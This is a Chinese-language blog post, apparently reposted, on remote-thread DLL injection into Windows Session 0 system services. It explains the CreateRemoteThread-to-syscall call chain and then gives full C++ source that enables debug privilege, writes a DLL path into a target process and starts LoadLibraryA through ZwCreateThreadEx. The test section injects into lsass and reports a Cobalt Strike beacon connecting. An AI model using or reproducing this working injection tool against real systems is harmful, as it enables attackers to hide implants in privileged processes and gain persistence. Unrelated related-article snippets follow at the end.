远程线程注入之突破Session0隔离会话

news2024/11/15 6:43:48

前言

当我们使用远程线程注入将dll注入至系统服务进程中往往会失败,这是因为大多数系统服务都是在Session0中运行的

"Session 0"是Windows操作系统中的一个特殊的会话,专门用于运行系统服务和其他在用户登录之前就需要运行的程序。从Windows Vista和Windows Server 2008开始,为了提高安全性,Windows将用户和系统服务分隔在不同的会话中。具体来说,所有的服务和系统任务都在Session 0中运行,而所有用户交互任务都在其他会话中运行

"Session 0注入"一般指的是把一个程序(通常是一个恶意程序)注入到Session 0的过程。因为Session 0有许多特权,所以如果恶意程序能够成功注入到Session 0,就可以获得比正常用户更高的权限,从而进行更多的恶意操作

然而,由于Windows Vista和后续版本的Windows的安全性提高,使得Session 0注入变得更加困难。尤其是,Session 0是隔离的,不能直接与用户的图形会话进行交互

image


远程线程注入函数调用流程

1.CreateRemoteThreadStub

CreateRemoteThreadStub是在kernel32.dll中,用于对CreateRemoteThread函数的封装,对CreateRemoteThread的参数进行处理,由原来的7个参数扩展到8个参数,并对dwCreationFlags参数进行安全处理

image-20230611165350503


2.CreateRemoteThread

CreateRemoteThread函数位于KernelBase.dll中,最终调用了NtCreateThreadEx函数

image-20230611165720925


3.NtCreateThread

NtCreateThread是内核级别的函数,它是属于NTDLL库中的一部分。NTDLL库中的函数主要是由操作系统的内核(即内核模式)使用的,而用户模式的程序一般不直接调用这些函数

image-20230611170023100




mov eax, 0C7h:将值0c7h移动至eax寄存器,表示执行编号为0c7h的系统调用

syscall:这是执行系统调用的指令。系统调用编号和参数应在此之前已被设置好(在这种情况下,通过将 0xC7rcx 的内容移动到 eaxr10

这段代码表示执行编号为 0xC7 的系统调用,如果 ds:7FFE0308h 的最低位被设置,那么在系统调用前会先跳转到另一段代码(位于 loc_1800A0525,使用int 2Eh中断进入内核)。如果该位未被设置,那么直接执行系统调用

image-20230611170146936


总结

以下是CreateRemoteThread函数的调用流程图

  1. 应用程序调用 CreateRemoteThread,这是一个由 kernel32.dll 提供的 Win32 API,用于在另一个进程的地址空间中创建新线程。
  2. CreateRemoteThread 内部调用 CreateRemoteThreadEx,这是一个由 KernelBase.dll 提供的更底层的 API,提供了更多的选项,比如可以指定安全描述符,可以控制新线程是否立即开始运行等
  3. CreateRemoteThreadEx 内部调用 NtCreateThreadEx,这是由 ntdll.dll 提供的 Native API,也是用户空间可以直接调用的最底层的 API。
  4. NtCreateThreadEx 函数设置好系统调用的参数后,执行 syscall 指令,切换到内核模式。
  5. 在内核模式下,根据 syscall 提供的系统调用编号,在 SSDT 表中查找对应的内核函数。
  6. 执行 SSDT 表中找到的函数,完成线程的创建。

image-20230611174832964


普通线程和远程线程的区别

可以看到普通线程函数CreateThread也调用了CreateRemoteThread函数,只不过其线程句柄参数的值为-1,而远程线程的句柄参数为一个具体的值

image-20230611175907620




代码实现思路

1.ZwCreateThread函数的声明及定义

当我们使用DLL注入系统服务的进程时会失败,失败的原因在于,当CreateRemoteThread函数尝试在Session 0隔离的系统服务进程中注入DLL时,它通过调用ZwCreateThread函数创建远程线程,其中第七个参数CreateThreadFlags被设置为1。这意味着创建的线程在完成后将被挂起,无法被恢复,因此导致注入失败。为了成功注入,需通过调用ZwCreateThreadEx函数将此参数修改为0。

以下是对ZwCreateThreadEx函数的描述:

NTSTATUS ZwCreateThreadEx(
    OUT PHANDLE ThreadHandle,  //输出参数,新创建的线程的句柄。
    IN ACCESS_MASK DesiredAccess,  //所需的访问权限标志,例如PROCESS_ALL_ACCESS代表全部权限
    IN PVOID ObjectAttributes,  //对象的属性,通常为NULL。
    IN HANDLE ProcessHandle,  //所创建线程将要在其内运行的进程的句柄
    IN PTHREAD_START_ROUTINE StartRoutine,  //新线程的开始地址
    IN PVOID Argument,  //要传递给新线程的参数
    IN ULONG CreateFlags,  //要传递给新线程的参数
    
    //ZeroBits, StackSize, MaximumStackSize: 这些参数一般设置为0,表示使用默认的堆栈大小
    IN ULONG_PTR ZeroBits,  
    IN SIZE_T StackSize,
    IN SIZE_T MaximumStackSize,
    
    IN PPS_ATTRIBUTE_LIST AttributeList  //用于传递更高级的线程属性,通常设置为NULL
);


由于ZwCreateThread函数未在官方文档中说明,所以我们需对ZwCreateThread函数进行声明:

#ifdef _WIN64
typedef DWORD(WINAPI* Fn_ZwCreateThreadEx)(
	PHANDLE ThreadHandle,
	ACCESS_MASK DesiredAccess,
	LPVOID ObjectAttributes,
	HANDLE ProcessHandle,
	LPTHREAD_START_ROUTINE lpStartAddress,
	LPVOID lpParameter,
	ULONG CreateThreadFlags,
	SIZE_T ZeroBits,
	SIZE_T StackSize,
	SIZE_T MaximumStackSize,
	LPVOID pUnkown);
#else
typedef DWORD(WINAPI* Fn_ZwCreateThreadEx)(
	PHANDLE ThreadHandle,
	ACCESS_MASK DesiredAccess,
	LPVOID ObjectAttributes,
	HANDLE ProcessHandle,
	LPTHREAD_START_ROUTINE lpStartAddress,
	LPVOID lpParameter,
	BOOL CreateSuspended,
	DWORD dwStackSize,
	DWORD dw1,
	DWORD dw2,
	LPVOID pUnkown);
#endif

然后通过GetProcAddress函数来获取这个函数

HMODULE hNtdllDll = LoadLibrary("ntdll.dll");
	Fn_ZwCreateThreadEx ZwCreateThreadEx = (Fn_ZwCreateThreadEx)GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
	if (NULL == ZwCreateThreadEx)
	{
		printf("GetProcAddress error\n");
		return -1;
	}

2.提升进程权限

如果要将dll注入至系统服务进程,还需提升当前进程的权限,以下是提权函数的代码:

// 提权函数,启用调试特权
BOOL EnableDebugPrivilege()
{
	HANDLE hToken; // 用于保存进程访问令牌的句柄
	BOOL fOk = FALSE; // 用于保存函数是否执行成功的状态

	// 获取当前进程的访问令牌
	if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
	{
		TOKEN_PRIVILEGES tp; // 用于保存特权信息的结构体
		tp.PrivilegeCount = 1; // 设置特权数量为1

		// 获取“Debug Programs”特权的本地唯一标识符(LUID)
		LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);

		tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // 设置特权的属性为启用

		// 调整访问令牌,启用“Debug Programs”特权
		AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);

		fOk = (GetLastError() == ERROR_SUCCESS); // 检查是否成功启用特权
		CloseHandle(hToken); // 关闭访问令牌的句柄
	}
	return fOk; // 返回函数是否执行成功的状态
}

3.Session0注入函数

此函数的主要作用是在Session0中注入指定的DLL。其步骤包括提权、打开目标进程、在目标进程中分配内存并写入DLL路径、获取LoadLibraryA函数地址、获取ZwCreateThreadEx函数地址、在目标进程中创建线程运行LoadLibraryA函数,最后释放资源

BOOL Session0Inject(DWORD pid, char* dllPath)
{	
	EnableDebugPrivilege();  //提权
	DWORD DllNameLength = strlen(dllPath);  //获取dll路径名的长度

	// 检查文件是否存在  注意:<filesystem>库需使用支持C++17或更高版本的编译器
	if (!std::filesystem::exists(dllPath)) {
		printf("指定的DLL文件不存在\n");
		return -1;
	}

	//1 获取目的进程句柄
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
	if (hProcess == NULL)
	{
		printf("打开进程失败: %d\n", GetLastError());
		return -1;
	}

	//2 为目的进程分配内存,用于存放Loadlibrary传入的参数,即dll的路径
	VOID* paraAddr = VirtualAllocEx(hProcess, NULL, DllNameLength + 1, MEM_COMMIT, PAGE_READWRITE);
	if (NULL == paraAddr)
	{
		printf("内存分配失败\n");
		return -1;
	}

	//3 将DLL的路径写到目标进程的内存
	if (!WriteProcessMemory(hProcess, paraAddr, dllPath, DllNameLength + 1, NULL))
	{
		printf("写入内存失败!\n");
		return false;
	}

	//4 获取loadlibrary函数的地址
	HMODULE LibHandle = GetModuleHandle("kernel32.dll");
	FARPROC ProcAdd = GetProcAddress(LibHandle, "LoadLibraryA");
	if (!ProcAdd)
	{
		printf("获取LoadLibraryA失败!\n");
		return false;
	}

	//5 通过调用GetProcAddress函数来获取ZwCreateThreadEx函数的地址
	HMODULE hNtdllDll = LoadLibrary("ntdll.dll");
	DWORD dwStatus;
	HANDLE hRemoteThread; 
	Fn_ZwCreateThreadEx ZwCreateThreadEx = (Fn_ZwCreateThreadEx)GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
	if (NULL == ZwCreateThreadEx)
	{
		printf("GetProcAddress error\n");
		return -1;
	}

	//6 使用获取到的ZwCreateThreadEx函数在目标进程中创建线程,运行LoadLibraryA函数,参数为DLL路径
	dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess,
		(LPTHREAD_START_ROUTINE)ProcAdd, paraAddr, 0, 0, 0, 0, NULL);
	if (NULL == ZwCreateThreadEx)
	{
		printf("ZwCreateThreadEx error\n");
		return -1;
	}

	//释放dll
	FreeLibrary(hNtdllDll);

	//释放句柄
	CloseHandle(hRemoteThread);
	CloseHandle(hProcess);
}

完整代码

#include <iostream>
#include <windows.h>
#include <TlHelp32.h>
#include <string>
#include <filesystem>

#ifdef _WIN64
typedef DWORD(WINAPI* Fn_ZwCreateThreadEx)(
	PHANDLE ThreadHandle,
	ACCESS_MASK DesiredAccess,
	LPVOID ObjectAttributes,
	HANDLE ProcessHandle,
	LPTHREAD_START_ROUTINE lpStartAddress,
	LPVOID lpParameter,
	ULONG CreateThreadFlags,
	SIZE_T ZeroBits,
	SIZE_T StackSize,
	SIZE_T MaximumStackSize,
	LPVOID pUnkown);
#else
typedef DWORD(WINAPI* Fn_ZwCreateThreadEx)(
	PHANDLE ThreadHandle,
	ACCESS_MASK DesiredAccess,
	LPVOID ObjectAttributes,
	HANDLE ProcessHandle,
	LPTHREAD_START_ROUTINE lpStartAddress,
	LPVOID lpParameter,
	BOOL CreateSuspended,
	DWORD dwStackSize,
	DWORD dw1,
	DWORD dw2,
	LPVOID pUnkown);
#endif

//获取进程ID的函数
DWORD GetProcessIdByName(const std::wstring& name) {
	DWORD pid = 0;
	HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (snap != INVALID_HANDLE_VALUE) {
		PROCESSENTRY32W entry = { sizeof(entry) };
		if (Process32FirstW(snap, &entry)) {
			do {
				if (std::wstring(entry.szExeFile) == name) {
					pid = entry.th32ProcessID;
					break;
				}
			} while (Process32NextW(snap, &entry));
		}
		CloseHandle(snap);
	}
	return pid;
}


//提权函数,启用调试特权
//这个函数的主要作用是启用当前进程的“debug programs”特权,这个特权允许进程附加到其他进程并控制它们
BOOL EnableDebugPrivilege()
{	
	
	HANDLE hToken; // 用于保存进程访问令牌的句柄
	BOOL fOk = FALSE; // 用于保存函数是否执行成功的状态

	// 获取当前进程的访问令牌
	if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
	{
		TOKEN_PRIVILEGES tp; // 用于保存特权信息的结构体
		tp.PrivilegeCount = 1; // 设置特权数量为1

		// 获取“Debug Programs”特权的本地唯一标识符(LUID)
		LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);

		tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // 设置特权的属性为启用

		// 调整访问令牌,启用“Debug Programs”特权
		AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);

		fOk = (GetLastError() == ERROR_SUCCESS); // 检查是否成功启用特权
		CloseHandle(hToken); // 关闭访问令牌的句柄
	}
	return fOk; // 返回函数是否执行成功的状态
}


BOOL Session0Inject(DWORD pid, char* dllPath)
{	
	EnableDebugPrivilege();  //提权
	DWORD DllNameLength = strlen(dllPath);  //获取dll路径名的长度

	// 检查文件是否存在  注意:<filesystem>库需使用支持C++17或更高版本的编译器
	if (!std::filesystem::exists(dllPath)) {
		printf("指定的DLL文件不存在\n");
		return -1;
	}

	//1 获取目的进程句柄
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
	if (hProcess == NULL)
	{
		printf("打开进程失败: %d\n", GetLastError());
		return -1;
	}

	//2 为目的进程分配内存,用于存放Loadlibrary传入的参数,即dll的路径
	VOID* paraAddr = VirtualAllocEx(hProcess, NULL, DllNameLength + 1, MEM_COMMIT, PAGE_READWRITE);
	if (NULL == paraAddr)
	{
		printf("内存分配失败\n");
		return -1;
	}

	//3 将DLL的路径写到目标进程的内存
	if (!WriteProcessMemory(hProcess, paraAddr, dllPath, DllNameLength + 1, NULL))
	{
		printf("写入内存失败!\n");
		return false;
	}

	//4 获取loadlibrary函数的地址
	HMODULE LibHandle = GetModuleHandle("kernel32.dll");
	FARPROC ProcAdd = GetProcAddress(LibHandle, "LoadLibraryA");
	if (!ProcAdd)
	{
		printf("获取LoadLibraryA失败!\n");
		return false;
	}

	//5 通过调用GetProcAddress函数来获取ZwCreateThreadEx函数的地址
	HMODULE hNtdllDll = LoadLibrary("ntdll.dll");
	DWORD dwStatus;
	HANDLE hRemoteThread; 
	Fn_ZwCreateThreadEx ZwCreateThreadEx = (Fn_ZwCreateThreadEx)GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
	if (NULL == ZwCreateThreadEx)
	{
		printf("GetProcAddress error\n");
		return -1;
	}

	//6 使用获取到的ZwCreateThreadEx函数在目标进程中创建线程,运行LoadLibraryA函数,参数为DLL路径
	dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess,
		(LPTHREAD_START_ROUTINE)ProcAdd, paraAddr, 0, 0, 0, 0, NULL);
	if (NULL == ZwCreateThreadEx)
	{
		printf("ZwCreateThreadEx error\n");
		return -1;
	}

	//释放dll
	FreeLibrary(hNtdllDll);

	//释放句柄
	CloseHandle(hRemoteThread);
	CloseHandle(hProcess);
}


int main(int argc, char* argv[])
{
	if (argc == 3)
	{	
		//atoi函数可将字符串转化为整数
		BOOL bRet = Session0Inject((DWORD)atoi(argv[1]), argv[2]);
		
		if (-1 == bRet)
		{
			printf("Inject dll failed\n");
		}
		else
		{
			printf("Inject dll successfully\n");
		}
	}
	else
	{
		printf("你需输入两个参数,参数1为pid,参数2为dll的绝对路径\n");
		exit(1);
	}
}

运行测试

首先获取lsass进程的PID,此处为696

1


以管理员权限运行cmd,使用session0注入将dll注入至lsass进程中

image-20230611233625460


Cobalt Strike成功上线

image-20230611234019447


在火绒剑可以看到lsass进程注入的dll

1


项目地址

https://github.com/xf555er/Session0_Inject

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/638729.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

卷积神经网络CNN(第三次组会)

卷积神经网络 1. 为什么用卷积2. 两个原则3. 参数理解4. 理解卷积 1. 为什么用卷积 2. 两个原则 3. 参数理解 4. 理解卷积

Proteus仿真之IIC通信(AT24C02)

1.IIC通信简介&#xff1a;IIC是一种利用时钟线SCL和数据线SDA进行数据传输的通信协议。IIC的时序图如下所示&#xff1a; 我们需要看懂时序图中开始信号、数据传输、应答信号和停止信号。 开始信号&#xff1a;SCL为高电平时&#xff0c;SDA出现下降沿信号。 数据传输&#…

c++类和对象(封装)

4、类和对象 C面向对象的三大特性为&#xff1a;封装、继承、多态 C认为万事万物都皆为对象&#xff0c;对象上有其属性和行为 例如: 人可以作为对象&#xff0c;属性有姓名、年龄、身高、体重...&#xff0c;行为有走、跑、跳、吃饭、唱歌...车也可以作为对象&#xff0c;属性…

python带你制作自动点赞小程序,让我看看谁还在呆呆的手动点赞

前言 嗨喽&#xff0c;大家好呀~这里是爱看美女的茜茜呐 知识点: 动态数据抓包 requests发送请求 开发环境: 代码所使用软件工具&#xff1a; python 3.8 >>>>>> 运行代码 pycharm 2022.3 >>>>>> 辅助敲代码 需下载的第三方模块&a…

【微信公众平台对接】有关上传pdf到微信

1、微信文档说明 ps:有关微信的一些文档说明我真的是服了&#xff0c;这个文档&#xff0c;抛出来看的人真的是一头雾水&#xff0c;算了&#xff0c;我也不做过多评判&#xff1b;下面看我调用的示例代码 2、示例代码 /*** 上传pdf* https://api.weixin.qq.com/card/invoice…

HTML+CSS实训——Day13——学习MySQL

前言 已经过去三周了&#xff0c;现在是第四周&#xff0c;之前所有的数据都是在本地的&#xff0c;还没有学到数据库&#xff0c;这周开始使用数据库了。 我自用的是navicat 连接服务器 我们新建一个连接&#xff0c;写上主机和端口号&#xff0c;再写上用户名和密码就可以…

【新版】系统架构设计师 - 计算机系统基础知识【补充】

个人总结&#xff0c;仅供参考&#xff0c;欢迎加好友一起讨论 文章目录 架构 - 计算机系统基础知识【补充内容】计算机语言多媒体系统工程霍尔的三维结构切克兰德方法并行工程方法综合集成法WSR&#xff08;物理-事理-人理&#xff09;系统方法系统工程生命周期7阶段生命周期方…

23年软件测试前景和出路?新人入行测试怎样走“正确“的路...

目录&#xff1a;导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结&#xff08;尾部小惊喜&#xff09; 前言 现在面试&#xf…

Java IO 学习总结(一)输入流/输出流

前言&#xff1a; 学习IO流&#xff0c;记录并分享。文章如有错误&#xff0c;恳请指正。 Java IO流的类图&#xff1a; 1、什么是 Java IO 流&#xff1f; 数据传输是需要通道的&#xff0c;而IO流就是数据传输的通道。IO流可以形象比喻为运送货物的传输带。运送的货物就是…

电子蜡烛灯单片机开发方案

LED蜡烛灯可以像真正的蜡烛一样发出舒适的闪烁光&#xff0c;具有仿真蜡烛效果&#xff0c;适合在一些聚会或庆祝活动中使用。宇凡微推出的低成本LED蜡烛灯IC方案&#xff0c;根据不同电子蜡烛灯方案&#xff0c;主控芯片推荐使用YF单片机。 LED蜡烛灯是有孩子的家庭很好蜡烛替…

【51单片机疑难杂症】:基于普中科技51单片机-A3型号开发板 ds18b20温度传感器和ds1302时钟芯片(板载)冲突现象的解答

项目场景&#xff1a; 当使用普中科技A3型号&#xff0c;准备开发板载的ds1302和温度ds18b20,出现了两者不能共用的问题&#xff0c;以下是问题记录与解答&#xff0c;大家如果觉得有用&#xff0c;请关注点赞哦。谢谢大家。 问题描述 基于普中科技51单片机-A3型号开发板 ds18b…

js 给图片添加水印

如何在图片上添加水印&#xff1f; 1、把图片或者图片文件转成image元素 2、把转成的image转成canvas 3、在生成的canvas中添加水印 先看效果 1、把图片或者图片文件转成image元素 function urlToImg(url) {return new Promise((resolve, reject) > {const img new Image(…

如何实现在线书签内容替换

书签广泛应用于企业的各种办公自动化业务场景中。例如&#xff1a;在范式合同模板中将甲乙方书签自动替换成具体的公司名称&#xff1b;在红头文件模板中将红头标题书签替换成具体的行政指令&#xff1b;在各种协议模板中将协议日期书签替换为当前日期&#xff1b;等等。 在这…

低代码赛道拥挤 生态聚合成为破局关键

在云计算和移动互联网的强劲推动下&#xff0c;企业数字化转型的步伐正在加速&#xff0c;对于软件应用开发的需求也呈现出爆发式的增长。这样的背景下&#xff0c;低代码平台凭借其独特的优势迅速崛起并引发了业界的广泛关注。 自2020年以来&#xff0c;低代码领域已成为投资…

5年测试岗,自动化测试经验总结(真实)他的测试之路高歌猛进...

目录&#xff1a;导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结&#xff08;尾部小惊喜&#xff09; 前言 8年测试工程师的自…

软考A计划-2023系统架构师-知识点集锦(2/4)

点击跳转专栏>Unity3D特效百例点击跳转专栏>案例项目实战源码点击跳转专栏>游戏脚本-辅助自动化点击跳转专栏>Android控件全解手册点击跳转专栏>Scratch编程案例点击跳转>软考全系列 &#x1f449;关于作者 专注于Android/Unity和各种游戏开发技巧&#xff…

26键 or 九宫格?不论哪个都不耽误黑客们窃取你的信息!

我妈找我说&#xff0c;可以邮寄杨梅了。我二话不说&#xff0c;直接开始给她我的邮寄地址。快速输入的地址让我想到一个问题&#xff0c;现在的输入法是不是知道的太多了&#xff1f; 我只要打出“浙江省杭州市”&#xff0c;联想出来的就是我所在的市区和街道&#xff0c;下…

【git切换分支/tag】git stash保存暂不提交的更改

目录 问题git stash使用方法git stash pop 还原修改 git stash使用、修改指定tag的代码 其他git指令 问题 情景&#xff1a;分支1上开发新功能&#xff0c;临时切换到其他分支或tag上修改bug。 1、直接切换&#xff1a;如果没有冲突&#xff0c;分支1的修改会带到要切换的分支…

Python-深入不出的字符串

深入不出的字符串 字符串是由独立字符组成的一个序列&#xff0c;通常包含在单引号&#xff08;‘’&#xff09;双引号 &#xff08;“”&#xff09;或者三引号之中&#xff08;‘’’ ‘’或"“” “”"&#xff0c;两者一样&#xff09;&#xff0c;比如下面几种…

感觉被榨干了,被美团拷打一小时...

普通本科毕业后&#xff0c;进了一家互联网公司&#xff0c;这几年里不断在积累经验&#xff0c;最终选择跳到美团&#xff0c;涨薪了50%&#xff0c;下面分享一下我个人的面经和一些心得建议。 面经 面团一面 自我介绍专业技能一条条核对下来 有软件测试流程、用例设计方法…